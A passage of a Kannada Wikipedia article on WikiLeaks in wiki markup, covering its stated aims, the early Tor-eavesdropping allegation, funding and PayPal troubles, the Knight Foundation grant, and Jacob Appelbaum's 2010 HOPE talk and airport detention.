ವಾಲಂಟಿಯರ್‌ಗಳನ್ನು ಹೊಂದಿದೆ<ref name="aboutwikileaks" /> ಮತ್ತು ಅಸ್ಸಾಂಜೆ ಒಳಗೊಂಡಂತೆ ಎಂಟು ಮಂದಿ ಸಲಹಾ ಸಮಿತಿಯಲ್ಲಿದ್ದಾರೆ ಎಂದು ಕೂಡಾ ಇದು ಪ್ರಕಟಿಸಿದೆ.<ref name="ab">{{cite news|last=Rintoul|first=Stuart |title=WikiLeaks advisory board 'pretty clearly window-dressing'|url=http://www.theaustralian.com.au/news/nation/wikileaks-advisory-board-pretty-clearly-window-dressing/story-e6frg6nf-1225967895242|accessdate=18 December 2010|newspaper=The Australian|date=9 December 2010}}</ref> ===ಉದ್ದೇಶ=== ಏಷ್ಯಾ, ಪೂರ್ವದ ಸೋವಿಯತ್ ಬ್ಲಾಕ್, ಆಫ್ರಿಕಾದ ಸಹರಾ ಪ್ರದೇಶಗಳು ಮತ್ತು ಮಧ್ಯ ಪೂರ್ವ ದೇಶಗಳ ಅಸಹನೀಯ ದಬ್ಬಾಳಿಕೆಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸುವುದಕ್ಕೆ ಮೊದಲ ಆದ್ಯತೆ, ಆದರೆ ಎಲ್ಲಾ ಪ್ರಾಂತಗಳಲ್ಲಿನ ಜನರಿಗೆ ತಮ್ಮ ಸರ್ಕಾರದ ಮತ್ತು ಪೌರಾಡಳಿತ ವರ್ಗಗಳ ಅನೈತಿಕ ನಡುವಳಿಕೆ ತೋರಿಸಲು ಸಹಾಯ ಮಾಡಲು ಎದುರು ನೋಡುತ್ತಿದ್ದೇವೆ ಎಂದು ವಿಕಿಲೀಕ್ಸ್ ಹೇಳಿತು."<ref name="aboutwikileaks" /><ref name="afp07" /> ಜನವರಿ 2007ರಲ್ಲಿ, ಸೋರಿಕೆಯಾದ 1.2 ಮಿಲಿಯನ್‌ಗಿಂತ ಹೆಚ್ಚಿನ ದಾಖಲೆಗಳನ್ನು ಪ್ರಕಟಿಸಲು ತಯಾರಿ ನಡೆಸಿದೆ ಎಂದು ಇದರ ಜಾಲತಾಣ ಹೇಳಿತು.<ref>{{cite web |last=Aftergood|first=Steven |authorlink=Steven Aftergood |title=Wikileaks and Untraceable Document Disclosure |url=http://www.fas.org/blog/secrecy/2007/01/wikileaks_and_untraceable_docu.html |work=Secrecy News |publisher=[[Federation of American Scientists]] |accessdate=19 December 2010 |date=3 January 2007}}</ref> ''ದಿ ನ್ಯೂಯಾರ್ಕರ್'' ಒಂದು ಲೇಖನದಲ್ಲಿ ಈ ರೀತಿ ಹೇಳಿತು: <blockquote>ವಿಕಿಲೀಕ್ಸ್‌ನ ಒಬ್ಬ ಕಾರ್ಯಕರ್ತರು ಟೋರ್‌ ನೆಟ್‌ವರ್ಕ್‌ಗೆ ಜಾಲಘಟಕವಾಗಿ ಬಳಕೆಯಾಗುವ ಸ್ವಂತ ಸರ್ವರ್‌ನ್ನು ಹೊಂದಿದ್ದಾರೆ. ಇದರ ಮೂಲಕ ಮಿಲಿಯನ್‌ಗಟ್ಟಲೆ ರಹಸ್ಯಗಳು ರವಾನೆಯಾಗುತ್ತವೆ. ಚೀನಾದ ಕನ್ನಕೋರರು (ಹ್ಯಾಕರ್ಸ್) ಈ ನೆಟ್‌ವರ್ಕ್‌ ಬಳಸಿಕೊಂಡು ವಿದೇಶಿ ಸರ್ಕಾರದ ಮಾಹಿತಿಯನ್ನು ಪಡೆದುಕೊಳ್ಳುವುದನ್ನು ಕಾರ್ಯಕರ್ತನು ಕಂಡುಕೊಂಡು ಇದನ್ನೇ ದಾಖಲು ಮಾಡಿಕೊಂಡಿದ್ದಾನೆ. ವಿಕಿಲೀಕ್ಸ್‌ನಲ್ಲಿ ಸ್ವಲ್ಪವೇ ಮಾತ್ರ ಪೋಸ್ಟ್ ಮಾಡಲ್ಪಟ್ಟಿದೆ, ಆದರೆ ಜಾಲತಾಣದ ಸ್ಥಾಪನೆಗಾಗಿ ಪ್ರಾರಂಭಿಕ ಭಾಗವು ಕೆಲಸ ಮಾಡಿದೆ ಮತ್ತು "ಹದಿಮೂರು ದೇಶಗಳಿಂದ ಒಂದು ಮಿಲಿಯನ್‌ಗಿಂತಲೂ ಹೆಚ್ಚಿನ ಮಾಹಿತಿಯನ್ನು ಪಡೆದುಕೊಂಡಿದ್ದೆವೆ" ಎಂದು ಅಸ್ಸಾಂಜೆ ಹೇಳಿದ್ದಾರೆ.<ref name="Khatchdourian">{{cite news |first=Raffi |last=Khatchadourian |date=7 June 2010 |url=http://www.newyorker.com/reporting/2010/06/07/100607fa_fact_khatchadourian?printable=true |title=No Secrets: Julian Assange's Mission for total transparency |work=The New Yorker |accessdate=8 June 2010}}</ref><ref>{{cite web|url=http://en.wiktionary.org/wiki/tranche#Noun |title=Wiktionary definition of tranche |publisher=En.wiktionary.org |date=13 October 2010 |accessdate=22 October 2010}}</ref></blockquote> ವಿಕಿಲೀಕ್ಸ್‌ನ ಮೊದಲಿನ ದಿನಗಳಲ್ಲಿ ಚೀನಾದ [[ಹ್ಯಾಕರ್‌]]ಗಳ ಮೂಲಕ ಸುದ್ಧಿಗಳನ್ನು ಕದಿಯಲಾಗಿದೆ ಎಂಬ ಆರೋಪಗಳಿಗೆ ಅಸ್ಸಾಂಜೆ ಪ್ರತಿಕ್ರಿಯಿಸಿ "ಆರೋಪಣೆ ತಪ್ಪು" ಎಂದು ಹೇಳಿದ್ದಾರೆ. 2006ರ ಚೀನಾ ಗೂಢಚರ್ಯೆಯ ಕುರಿತಾದ ಚಟುವಟಿಕೆಯಲ್ಲಿ ನಮ್ಮ ಒಂದು ಸುದ್ದಿ ಮೂಲ ಇದರಲ್ಲಿ ಪಾಲ್ಗೊಂಡಿತ್ತು. ಇದರ ಮಧ್ಯೆ ಕೆಲವು ಅಥವಾ ಸಾಕಷ್ಟು ದಾಖಲೆಗಳನ್ನು ವಿಕಿಲೀಕ್ಸ್ ಪ್ರಕಟನೆಗೊಳಿಸಿತ್ತು. ಚೀನಾದ ಗೂಢಚರ್ಯೆಗೆ ಒಳಗಾದವರಲ್ಲಿರುವ ಸರ್ಕಾರೇತರ ಸಂಸ್ಥೆಗಳಲ್ಲಿ ಉದಾಹರಣೆಗೆ ಟಿಬೇಟಿಯನ್ ಅಸೋಸಿಯೇಶನ್ನಂತವುಗಳನ್ನು ಗುರಿಯಾಗಿಸಿಕೊಳ್ಳಲಾಗಿತ್ತು."<ref>{{cite news |url=http://www.theregister.co.uk/2010/06/02/wikileaks_tor_snooping_denial/ |title=Wikileaks denies Tor hacker eavesdropping gave site its start |author=Leyden, John |work=[[The Register]] |date=2 June 2010 |accessdate=10 July 2010}}</ref> ನಂತರ ಈ ಗುಂಪು ಪ್ರಮುಖವಾದ ಹಲವಾರು ದಾಖಲೆಗಳನ್ನು ಮೊದಲ ಪುಟದ ಸುದ್ಧಿಯಾಗಿ ಪ್ರಕಟಿಸಿತು. ಇದರ ವ್ಯಾಪ್ತಿಯು ಸಾಧನ ಸಾಮಗ್ರಿಗಳ ಖರ್ಚಿನ ಸಾಕ್ಷ್ಯ ಸಂಕಲನ, ಮತ್ತು ಕೀನ್ಯಾದಲ್ಲಿನ ಭ್ರಷ್ಟಾಚಾರಕ್ಕೆ ಆಫ್ಘಾನಿಸ್ತಾನದ ಯುದ್ಧ ಇವೆಲ್ಲವನ್ನೂ ಒಳಗೊಂಡಿದೆ.<ref>{{cite news |author=Channing, Joseph |title=Wikileaks Releases Secret Report on Military Equipment |url=http://www.nysun.com/foreign/wikileaks-releases-secret-report-on-military/62236/ |work=The New York Sun |date=9 September 2007 |accessdate=28 February 2008}}</ref> ಟಿಯಾನಾನ್ಮೆನ್ ಚೌಕದ ಸಾಮೂಹಿಕ ಹತ್ಯೆಯ ಕುರಿತಾಗಿ ಶಿ ತಾವೋ ಎಂಬ ಚೀನಾದ ಪತ್ರಕರ್ತ ಚೈನಾದ ಅಧಿಕಾರಿಗಳ ಇಮೇಲ್ ಪ್ರಕಟಿಸಿದ್ದಕ್ಕಾಗಿ 2005ರಲ್ಲಿ ಹತ್ತು ವರ್ಷಗಳ ಜೈಲು ಶಿಕ್ಷೆಗೆ ಒಳಗಾದಂತೆ ವಿಸಲರ್‌ಬ್ಲೌಬರ್ಸ್ ಮತ್ತು ಪತ್ರಕರ್ತರು ಸೂಕ್ಷ್ಮವಾದ ಅಥವಾ ರಹಸ್ಯ ದಾಖಲೆಗಳನ್ನು ಇಮೇಲ್ ಮಾಡಿದ್ದಕ್ಕಾಗಿ ಜೈಲು ಶಿಕ್ಷೆಗೆ ಗುರಿಯಾಗದಂತೆ ನೋಡಿಕೊಳ್ಳುವುದು ಸಂಸ್ಥೆಯ ಉದ್ದೇಶ ಎಂದು ಈ ಸಂಸ್ಥೆ ಹೇಳಿದೆ.<ref name="NewScientist1" /> ಅಸ್ಸಾಂಜೆ ''ದಿ ಕೋಲ್ಬರ್ಟ್ ರಿಪೋರ್ಟ್‌'' ಗೆ ನೀಡಿದ ಸಂದರ್ಶನದಲ್ಲಿ [[ವಾಕ್ ಸ್ವಾತಂತ್ರ]]ದ ಮಿತಿಯ ಕುರಿತಾಗಿ ಈ ರೀತಿ ವಿವರಿಸಿದ್ದಾರೆ, "[ಇದು] ಅಂತಿಮವಾದ ಸ್ವಾಂತಂತ್ರ್ಯವಲ್ಲ, ಆದರೆ ಸರ್ಕಾರ ಮತ್ತು [[ಕಾನೂನು]] ಏನನ್ನು ನಿಯಂತ್ರಿಸುತ್ತದೆಯೋ ಅದೇ ಮುಕ್ತ ಮಾತು. ಇದು ಯಾಕೆ ಎಂಬುದನ್ನು ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಸಂವಿಧಾನದ ಬಿಲ್ ಆಫ್ ರೈಟ್ಸ್ ಹೇಳುತ್ತದೆ, [[ಪತ್ರಿಕಾ ಸ್ವಾತಂತ್ರ]] ಕಡಿಮೆ ಮಾಡುವ ಯಾವುದೇ ಕಾನೂನನ್ನು ಕಾಂಗ್ರೆಸ್ ಮಾಡಿಲ್ಲ. ಕಾನೂನಿನ ಹೊರಗೆ ಪತ್ರಿಕಾ ಹಕ್ಕನ್ನು ಇಡಬೇಕು, ಏಕೆಂದರೆ ಪತ್ರಿಕಾ ಹಕ್ಕುಗಳೇ ಕಾನೂನನ್ನು ರಚನೆ ಮಾಡಿರುವುದರಿಂದ ಈ ಹಕ್ಕುಗಳು ಕಾನೂನಿಗಿಂತ ಶ್ರೇಷ್ಠವಾಗಿವೆ. ಪ್ರತಿಯೊಂದು ಸಂವಿಧಾನ, ಪ್ರತಿಯೊಂದು ಶಾಸನವೂ ಮಾಹಿತಿಯ ಹರಿವಿನಿಂದ ಬಂದಿದೆ. ಅದೇ ರೀತಿಯಾಗಿ ಜನರು ರಾಜಕಾರಣ,ಸಮಾಜದ ರಚನೆಯಂತಹ ವಿಷಯಗಳನ್ನು ಅರ್ಥವಾಡಿಕೊಳ್ಳುವುದರಿಂದಲೇ ಸರ್ಕಾರವೊಂದರ ರಚನೆ, ಚುನಾವಣೆ ಸಾಧ್ಯ".<ref>http://www.colbertnation.com/the-colbert-report-videos/260785/april-12-2010/exclusive---julian- assange-extended-interview</ref> ಈ ಪ್ರೊಜೆಕ್ಟ್‌ ಅನ್ನು 1971ರಲ್ಲಿ ಡೇನಿಯಲ್ ಎಲ್ಸ್‌ಬರ್ಗ್‌ ಪೆಂಟಗಾನ್ ಪೇಪರ್ಸ್ ಸೋರಿಕೆ ಮಾಡಿರುವುದಕ್ಕೆ ಹೋಲಿಸಲಾಗುತ್ತದೆ.<ref name="LinuxworldWikileaks1">{{cite news |last=Bradner|first=Scott|authorlink=Scott Bradner |title=Wikileaks: a site for exposure |url=http://www.networkworld.com/columnists/2007/011706bradner.html?page=1 |accessdate=19 December 2010 |newspaper=[[Network World]]|date=17 January 2007}}</ref> ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಸೋರಿಕೆಯಾದ ಕೆಲವು ದಾಖಲೆಗಳನ್ನು ಕಾನೂನುಬದ್ಧವಾಗಿ ರಕ್ಷಿಸಿರಬಹುದು. ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸರ್ವೋಚ್ಚ ನ್ಯಾಯಾಲಯವು ಅನಾಮಧೇಯತೆಯ ಅವಕಾಶವನ್ನು [[ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸಂವಿಧಾನ|ಸಂವಿಧಾನ]]ವು ನೀಡುತ್ತದೆ, ಕನಿಷ್ಟ ರಾಜಕೀಯ ಚರ್ಚೆಯಂತಹ ಸಂದರ್ಭಗಳಲ್ಲಿ ಎಂದು ಹೇಳಿದೆ.<ref name="LinuxworldWikileaks1" /> ಲೇಖಕ ಮತ್ತು ಪತ್ರಕರ್ತ ವಿಟ್ಲಿ ಸ್ಟ್ರೈಬರ್ ಅವರು ವಿಕಿಲೀಕ್ಸ್ ಪ್ರೊಜೆಕ್ಟ್‌ನ ಲಾಭಗಳ ಕುರಿತು ಹೇಳುತ್ತಾ, "ಹೀಗೆ ಸರ್ಕಾರೀ ದಾಖಲೆಗಳನ್ನು ಸೋರಿಕೆ ಮಾಡುವುದು ಜೈಲು ಶಿಕ್ಷೆಗೆ ಕಾರಣವಾಗಬಹುದು, ಆದರೆ ಈ ಜೈಲುಶಿಕ್ಷೆಯ ಪ್ರಮಾಣ ನಿಜಕ್ಕೂ ಕಡಿಮೆ ಇರುತ್ತದೆ. ಹೀಗಿದ್ದರೂ, ಚೀನಾ ಮತ್ತು ಆಫ್ರಿಕಾದ ಭಾಗಗಳು ಮತ್ತು ಮಧ್ಯ ಪೂರ್ವಗಳಲ್ಲಿ ದೀರ್ಘಕಾಲ ಸೆರೆವಾಸ ಅಥವಾ ಸಾವು ವಿಧಿಸಬಹುದು."<ref>{{cite news |title=How to be a Whistle Blower |url=http://www.unknowncountry.com/news/how-be-whistle-blower |work=Unknowncountry.com |date=17 January 2007 |accessdate=17 December 2010 |archive-date=20 ಡಿಸೆಂಬರ್ 2013 |archive-url=https://archive.is/20131220010617/http://www.unknowncountry.com/news/how-be-whistle-blower |url-status=dead }}</ref> ===ನಿಧಿ ಸಹಾಯ=== 24 ಡಿಸೆಂಬರ್ 2009ರಂದು, ವಿಕಿಲೀಕ್ಸ್ ನಿಧಿಯ ಕೊರತೆಯಿಂದ ಬಳಲುತ್ತಿರುವುದಾಗಿ ಪ್ರಕಟಿಸಿತು<ref>{{cite web |url=http://twitter.com/wikileaks/status/6995068005 |title=Twitter / WikiLeaks: To deal with a shortage of... |publisher=Twitter |date=24 December 2009 |accessdate=30 April 2010}}</ref> ಮತ್ತು ಹೊಸ ಸಂಗತಿಗಳನ್ನು ಸಲ್ಲಿಸಲು ಅಗತ್ಯವಾದ ನಮೂನೆಯೊಂದನ್ನು ಬಿಟ್ಟು ಉಳಿದಂತೆ ತನ್ನ ವೆಬ್‌ಸೈಟ್‌ಗೆ ಪ್ರವೇಶವನ್ನು ತಡೆಹಿಡಿಯಿತು.<ref name="digdeep" /> ಮೊದಲಿಗೆ ಪ್ರಕಟವಾದ ವಿಷಯಗಳು ತುಂಬಾ ಕಾಲದವರೆಗೆ ಲಭ್ಯವಿರಲಿಲ್ಲ, ಆದರೆ ಇನ್ನೂ ಕೆಲವೊಂದು ಅನಧೀಕೃತ ದರ್ಪಣವಾಗಿ ಕಂಡುಬರುತ್ತದೆ.<ref>{{cite web|title=WikiLeaks - Mirrors|url=http://wikileaks.ch/Mirrors.html|publisher=WikiLeaks|accessdate=18 December 2010|archive-date=7 ಡಿಸೆಂಬರ್ 2010|archive-url=https://web.archive.org/web/20101207060201/http://www.wikileaks.ch/mirrors.html|url-status=dead}}</ref> ಒಮ್ಮೆ ಕಾರ್ಯಾಚರಣೆಯ ವೆಚ್ಚ ಸರಿಹೊಂದಿದರೆ ಪುನಃ ಕಾರ್ಯಾಚರಣೆ ಕೈಗೊಳ್ಳುವುದಾಗಿ ವಿಕಿಲೀಕ್ಸ್ ತನ್ನ ಜಾಲತಾಣದಲ್ಲಿ ಹೇಳಿಕೊಂಡಿದೆ.<ref name="digdeep">{{cite news |last= Butselaar |first=Emily |url=https://www.theguardian.com/commentisfree/libertycentral/2010/jan/29/wikileaks-shut-down |title=Dig deep for WikiLeaks |work=The Guardian |location=UK |date=29 January 2010 |accessdate = 30 January 2010 |location=London}}</ref> ವಿಕಿಲೀಕ್ಸ್ ಇದೊಂದು ರೀತಿಯ ಮುಷ್ಕರದಂತೆ ಕಾಣುತ್ತದೆ, ಅಂದರೆ "ಇದರಲ್ಲಿರುವ ಪ್ರತಿಯೊಬ್ಬರೂ ಕೆಲಸವನ್ನು ನಿಲ್ಲಿಸಿ ಆದಾಯ ಹೆಚ್ಚಿಸಲು ಸಮಯವನ್ನು ವಿನಿಯೋಗಿಸುವುದು".<ref name="leakonomy">{{cite news |title=Leak-o-nomy: The Economy of Wikileaks (Interview with Julian Assange) |author=Mey, Stefan |url=http://stefanmey.wordpress.com/2010/01/04/leak-o-nomy-the-economy-of-wikileaks/ |accessdate=19 December 2010 |work=Medien-Ökonomie-Blog |publisher=WordPress |date=4 January 2010 |archive-date=13 ಡಿಸೆಂಬರ್ 2010 |archive-url=https://web.archive.org/web/20101213110334/http://stefanmey.wordpress.com/2010/01/04/leak-o-nomy-the-economy-of-wikileaks/ |url-status=dead }}</ref> 6 ಜನವರಿ 2010ರಿಂದ ಹಣವನ್ನು ದೊರಕಿಸಿಕೊಳ್ಳಲು ಸಂಸ್ಥೆಯು ಯೋಜನೆಯನ್ನು ಪ್ರಾರಂಭಿಸಿತು,<ref>{{cite web |author=WikiLeaks |url=http://twitter.com/wikiLeaks |title=at 7:42&nbsp;am 5&nbsp;Jan 2010 |publisher=Twitter |date=|accessdate=30 April 2010}}</ref> ಆದರೆ 3 ಫೆಬ್ರವರಿ 2010ರವರೆಗೂ ಮುಂದುವರೆದು, ಆನಂತರದಲ್ಲಿ ಅಗತ್ಯ ಹಣವನ್ನು ಹೆಚ್ಚಿಸಿಕೊಳ್ಳುವ ಗುರಿಯನ್ನು ಸಾಧಿಸಲಾಗಿದೆ ಎಂದು ವಿಕಿಲೀಕ್ಸ್ ಘೋಷಿಸಿತು.<ref>{{cite web |url=http://twitter.com/wikileaks/status/8613426708 |title=Twitter / Wikileaks: Achieved min. funraising g... |publisher=Twitter |date=|accessdate=30 April 2010}}</ref> 22 ಜನವರಿ 2010ರಂದು ಪೇಪಾಲ್ ವಿಕಿಲೀಕ್ಸ್ ಡೊನೇಶನ್ ಖಾತೆಯನ್ನು ವಜಾಗೊಳಿಸಿ ಆಸ್ತಿಯನ್ನು ಸ್ಥಗಿತಗೊಳಿಸಿತು. ವಿಕಿಲೀಕ್ಸ್ ಹೇಳಿತು, ಇದಕ್ಕೂ ಮೊದಲು ಇದು ನಡೆದಿತ್ತು, ಮತ್ತು "ಯಾವುದೇ ಸ್ಪಷ್ಟವಾದ ಕಾರಣವಿಲ್ಲದೇ" ಇದು ನಡೆದಿತ್ತು.<ref>{{cite web |url=http://twitter.com/wikileaks/status/8101847372 |title=WikiLeaks: Paypal has again locked our... |publisher=Twitter | accessdate = 26 January 2010}}</ref> 25 ಜನವರಿ 2010ರಂದು ಖಾತೆಯು ಪುನಃ ಚಾಲ್ತಿಗೆ ಬಂದಿತು.<ref>{{cite web |url=http://twitter.com/wikileaks/status/8192453527 |title=WikiLeaks: Paypal has freed up our... |publisher=Twitter |accessdate=26 January 2010}}</ref> 18 ಮೇ 2010ರಂದು ಇದರ ಜಾಲತಾಣ ಮತ್ತು ದಾಖಲೆಗಳು ಮತ್ತೆ ಲಭ್ಯವಿವೆ ಎಂದು ವಿಕಿಲೀಕ್ಸ್ ಪ್ರಕಟಿಸಿತು.<ref>{{cite web|url=https://twitter.com/wikileaks/status/14270362566 |title=Wikileaks: Next milestone completed:... |publisher=Twitter|date=18 May 2010|accessdate=18 December 2010}}</ref> ಜೂನ್ 2010ರಂತೆ, ವಿಕಿಲೀಕ್ಸ್ ಜಾನ್ ಎಸ್. ಆ‍ಯ್೦ಡ್ ಜೇಮ್ಸ್ ಎಲ್.ನೈಟ್ ಫೌಂಡೇಶನ್‌‍ ನೀಡುವ ಅರ್ಧ ಮಿಲಿಯನ್‌ ಡಾಲರ್‌ಗಿಂತ ಹೆಚ್ಚು ಹಣ ಪಡೆಯಲು ಅಂತಿಮ-ಸ್ಪರ್ಧಿಯಾಗಿತ್ತು,<ref name="Khatchdourian" /> ಆದರೆ ಪಡೆಯಲಾಗಲಿಲ್ಲ.<ref name="Knight">{{cite news|last=Cohen |first=Noam |url=http://mediadecoder.blogs.nytimes.com/2010/06/17/knight-foundation-hands-out-grants-to-12-groups-but-not-wikileaks/ |title=Knight Foundation Hands Out Grants to 12 Groups, but Not WikiLeaks |work=Media Decoder Blog |publisher=The New York Times Company |date=17 June 2010 |accessdate=1 August 2010}}</ref> ವಿಕಿಲೀಕ್ಸ್ ಟ್ವಿಟ್ಟರ್ ಮೂಲಕ ವ್ಯಾಖ್ಯಾನಿಸಿ, "ವಿಕಿಲೀಕ್ಸ್ ನೈಟ್ ಸ್ಪರ್ಧೆಯಲ್ಲಿ ಅತಿ ಹೆಚ್ಚು ರೇಟೆಡ್ ಯೋಜನೆಯಾಗಿತ್ತು, ಮಂಡಳಿಯಲ್ಲಿ ಬಲವಾಗಿ ಶಿಫಾರಸುಮಾಡಲಾಗಿತ್ತು. ಆದರೆ ಹಣ ಸಿಗಲಿಲ್ಲ. ನೋಡೋಣ."<ref name="Cook">{{cite news|url=https://news.yahoo.com/s/ynews/20100617/ts_ynews/ynews_ts2677_3|title=WikiLeaks questions why it was rejected for Knight grant|last=Cook|first=John|date=17 June 2010|work=[[Yahoo! News]]|accessdate=19 December 2010|archiveurl=https://web.archive.org/web/20110514045824/http://news.yahoo.com/s/ynews/20100617/ts_ynews/ynews_ts2677_3|archivedate=14 ಮೇ 2011|url-status=live}}</ref> ನೈಟ್ ಫೌಂಡೇಶನ್ ಪ್ರಶಸ್ತಿಯನ್ನು ಪ್ರಕಟಿಸಿದಾಗ "'12 ದತ್ತಿಗಳು ಸುದ್ದಿಯ ಭವಿಷ್ಯದ ಮೇಲೆ ಪ್ರಭಾವ ಬೀರುತ್ತವೆ'&nbsp;– ಆದರೆ ವಿಕಿಲೀಕ್ಸ್ ಅಲ್ಲ" ಮತ್ತು ನೈಟ್ ಫೌಂಡೇಶನ್ "ನಿಜವಾಗಿ ಒಂದು ಮಹತ್ತರ ಬದಲಾವಣೆಗಾಗಿ ಎದುರು ನೋಡುತ್ತಿದೆಯೇ" ಎಂದು ಪ್ರಶ್ನಿಸಿತು.<ref name="Knight" /> ನೈಟ್ ಫೌಂಡೇಶನ್‌ನ ವಕ್ತಾರ ವಿಕಿಲೀಕ್ಸ್‌ನ ವಿವಾದಾತ್ಮಕ ಹೇಳಿಕೆಗೆ ಪ್ರತಿಕ್ರಿಯಿಸಿ, " ನೈಟ್ ಸಿಬ್ಬಂದಿಯು ವಿಕಿಲೀಕ್ಸ್‌ನ್ನು ಮಂಡಳಿಗೆ ಶಿಪಾರಸ್ಸು ಮಾಡಿರಲಿಲ್ಲ ಎಂದು ಹೇಳಿದ್ದಾರೆ."<ref name="Cook" /> ಹೀಗಿದ್ದರೂ, ಸಿಬ್ಬಂದಿಯೇತರರು, ಮತ್ತು ಅವರಲ್ಲಿ ಪತ್ರಕರ್ತ ಜನ್ನಿಫರ್ 8 ಇದ್ದ ನೈಟ್ ಸಲಹಾ ತಂಡವು ವಿಕಿಲೀಕ್ಸ್ ಪ್ರೊಜೆಕ್ಟ್‌ಗೆ ಅತ್ಯುನ್ನತ ಸ್ಥಾನವನ್ನು ನೀಡಿತ್ತೇ ಎಂಬ ಪ್ರಶ್ನೆಗೆ ಉತ್ತರಿಸಲು ನಿರಾಕರಿಸಿದರು.ಲೀ, ವಿಕಿಲೀಕ್ಸ್ ಪರವಾಗಿ ಮಾಧ್ಯಮ ಮತ್ತು ಸಾಮಾಜಿಕ ಜಾಲತಾಣಗಳ ಮೂಲಕ ಪಿಆರ್ ಆಗಿ ಕೆಲಸ ಮಾಡಿದ್ದರು.<ref name="Cook" /> ===ಕಾರ್ಯಕಾರಿ ಸ್ಪರ್ಧೆಗಳು=== ಜುಲೈ 17 ರಂದು ನ್ಯೂಯಾರ್ಕ್ ನಗರದಲ್ಲಿ ನಡೆದ 2010 ಹ್ಯಾಕರ್ಸ್ ಆನ್ ಪ್ಲಾನೆಟ್ ಅರ್ಥ್ (ಹೆಚ್ಓಪಿಇ) ಸಮ್ಮೇಳನದಲ್ಲಿ ವಿಕಿಲೀಕ್ಸ್‌ನ ಪರವಾಗಿ ಅಸ್ಸಾಂಜೆ ಅವರ ಬದಲಿಗೆ ಜಾಕೊಬ್ ಆ‍ಯ್‌ಪಲ್‌ಬಮ್ ಅವರು ಮಾತನಾಡಿದರು, ಸಮ್ಮೇಳನದಲ್ಲಿ ಫೆಡರಲ್ ಏಜೆಂಟ್‌ಗಳ ಉಪಸ್ಥಿತಿಯು ಇದಕ್ಕೆ ಕಾರಣವಾಗಿತ್ತು.<ref name="repair" /><ref>{{cite web |last=McCullagh |first=Declan |url=http://news.cnet.com/8301-1009_3-20010861-83.html |title=Feds look for WikiLeaks founder at NYC hacker event &#124; Security – CNET News |publisher=News.cnet.com |date=16 July 2010 |accessdate=1 August 2010 |archive-date=27 ಆಗಸ್ಟ್ 2011 |archive-url=https://web.archive.org/web/20110827013027/http://news.cnet.com/8301-1009_3-20010861-83.html |url-status=dead }}</ref> ವಿಕಿಲೀಕ್ಸ್‌ನ ಸಲ್ಲಿಕೆ ವ್ಯವಸ್ಥೆಯು ತಾತ್ಕಾಲಿಕವಾಗಿ ಸ್ಥಗಿತಗೊಂಡ ಬಳಿಕ ಮತ್ತೆ ಕಾರ್ಯನಿರತವಾಗಿದೆ ಎಂದು ಅವರು ಘೋಷಿಸಿದರು.<ref name="repair">{{cite web |author=Singel, Ryan |url=https://www.wired.com/threatlevel/2010/07/wikileaks_repair/ |title=Wikileaks Reopens for Leakers &#124; Threat Level |publisher=Wired.com |date=19 July 2010 |accessdate=1 August 2010 |archive-date=9 ಫೆಬ್ರವರಿ 2014 |archive-url=https://web.archive.org/web/20140209230740/http://www.wired.com/threatlevel/2010/07/wikileaks_repair/ |url-status=dead }}</ref><ref>{{cite web|last=Appelbaum |first=Jacob|title=Jacob Appelbaum WikiLeaks Next HOPE Keynote Transcript|url=https://docs.google.com/document/pub?id=1ebTGiyaQQ2HSCOpqsD8GD7x_7IBqkeYZ4jfEJ_rYeFQ|publisher=Hackers on Planet Earth conference|accessdate=18 December 2010|date=17 July 2010}}</ref><ref>{{cite video |people= WikiLeaks |date= 16–18 July 2010 |title= Saturday Keynote at The Next HOPE |url= http://c2047862.cdn.cloudfiles.rackspacecloud.com/Saturday%20Keynote%20-%20Wikileaks.mp3 |format= MP3 |medium= Audio |accessdate= 18 December 2010 |archive-date= 26 ಏಪ್ರಿಲ್ 2012 |archive-url= https://web.archive.org/web/20120426042333/http://c2047862.cdn.cloudfiles.rackspacecloud.com/Saturday%20Keynote%20-%20Wikileaks.mp3 |url-status= dead }}</ref> 19 ಜುಲೈ 2010ರಂದು ಆಕ್ಸ್‌ಫರ್ಡ್‌ನಲ್ಲಿ ಅಸ್ಸಾಂಜೆ ಟೆಡ್ ಕಾನ್ಫರೇನ್ಸ್‌ನಲ್ಲಿ ಆಶ್ಚರ್ಯಕರವಾದ ರೀತಿಯಲ್ಲಿ ಮಾತನಾಡಿ ಸಲ್ಲಿಕೆಯನ್ನು ಒಪ್ಪಿಕೊಂಡು ಜಾಲತಾಣವು ಮತ್ತೆ ಆರಂಭವಾಗಿದೆ ಎಂದು ಹೇಳಿದರು.<ref>ಅಸ್ಸಾಂಜೆಯ ಟೆಡ್ ನೊಂದಿಗಿನ ಸಂದರ್ಶನ</ref> ಆ‍ಯ್‌ಪಲ್‌ಬಮ್ ಜುಲೈ 29ರಂದು ನೆದರ್ಲ್ಯಾಂಡಿನಿಂದ ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಕ್ಕೆ ವಾಪಾಸ್ಸಾಗುವಾಗ, ಅನಾಮಿಕ ಮೂಲದ ಕರೆಯಿಂದ ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಏಜೆಂಟರಿಂದ ಮೂರು ತಾಸುಗಳ ಕಾಲ ತಡೆದು ನಿಲ್ಲಿಸಲಾಯಿತು.<ref name="AppelbaumAirport" /> ಆ‍ಯ್‌ಪಲ್‌ಬಮ್‌ರ ಬ್ಯಾಗ್, ಲ್ಯಾಪ್‌ಟಾಪ್‌ಗಳನ್ನು ಪರೀಕ್ಷಿಸಲಾಯಿತು ಬ್ಯಾಗ್‌ನಲ್ಲಿರುವ ರಸೀದಿಯ ಪೋಟೋಕಾಫಿ ತೆಗೆದುಕೊಳ್ಳಲಾಯಿತು, ಆದರೂ ಯಾವ ರೀತಿ ಪರೀಕ್ಷಿಸಿದರು ಎಂಬ ವಿಷಯವು ಅಸ್ಪಷ್ಟವಾಗಿದೆ ಎಂದು ''Cnet'' ಗೆ ಒಂದು ಮೂಲವು ಹೇಳಿದೆ.<ref name="AppelbaumAirport" /> ಆ‍ಯ್‌ಪಲ್‌ಬಮ್ ತನ್ನ ವಕೀಲರಿಲ್ಲದೇ ಯಾವುದೇ ಪ್ರಶ್ನೆಗೆ ಉತ್ತರ ಹೇಳಲು 